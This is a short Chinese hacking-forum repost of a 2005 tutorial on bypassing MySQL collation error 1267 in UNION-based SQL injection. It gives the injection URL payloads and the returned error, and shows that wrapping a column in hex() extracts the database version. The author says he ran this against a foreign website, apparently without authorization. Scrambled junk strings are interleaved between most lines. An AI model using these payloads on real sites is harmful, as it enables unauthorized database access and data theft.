中国网络渗透测试联盟
标题:
MySQL注射时ErrorNo.1267的突破
[打印本页]
作者:
admin
时间:
2012-9-15 14:04
标题:
MySQL注射时ErrorNo.1267的突破
本文作者:SuperHei
; |9 Q8 A2 n8 j( i& G
文章性质:原创
$ ^$ ~. _" b r0 b6 i/ e
发布日期:2005-10-18
; ?+ L: }" R0 G; }! Z* ^
测试个国外的站时:
+ ~, C x4 K6 S% _# T
url:?c_id=2%20and%201=2%20union%20select%201,version(),3,4,5,6%20/*
9 g; ^( j2 F7 l0 D% r
返回错误:
2 ^; H' {: X4 x! `8 S0 I
Illegal mix of collations (euckr_korean_ci,IMPLICIT) and (utf8_general_ci,IMPLICIT) for operation 'UNION'
. j! Z7 P* g0 e# l
MySQL Error No. 126
. x7 z% B C {: g
看来是union查询前后字符集(
http://dev.mysql.com/doc/mysql/en/Charset-collation-charset.html
)不同出现的。
7 \, ^; K4 y! A% Q
解决办法:转为其他编码如hex。
1 `9 F6 }& ^9 \! O G- z/ v- o
url:?c_id=2%20and%201=2%20union%20select%201,hex(version()),3,4,5,6%20/*
; ^# A# ~! X8 ~7 N3 C7 b
成功得到hex(version())的值为:
0 u! p# S5 W# K" u& |9 q1 M
342E312E332D62657461
9 E) i/ C% L3 V
回Mysql查询下得到:
" ?- A) W9 }/ s& ~2 u
mysql> select 0x342E312E332D62657461;
9 y; y |- F7 h( l3 t: F
+------------------------+
% l k6 q1 v5 H1 ^9 N! N
| 0x342E312E332D62657461 |
$ z- K9 Q8 }+ q% d
+------------------------+
- x* h5 L* A- ?! Y9 z
| 4.1.3-beta |
$ x; b- U3 X# |' {! D
+------------------------+
' C+ b, R1 F, o2 V; X! Q: ~
1 row in set (0.00 sec)
: e/ ^( U; Y2 p( b9 t# M! _) N7 A6 f' G
! R% }; m; @% F3 e
欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/)
Powered by Discuz! X3.2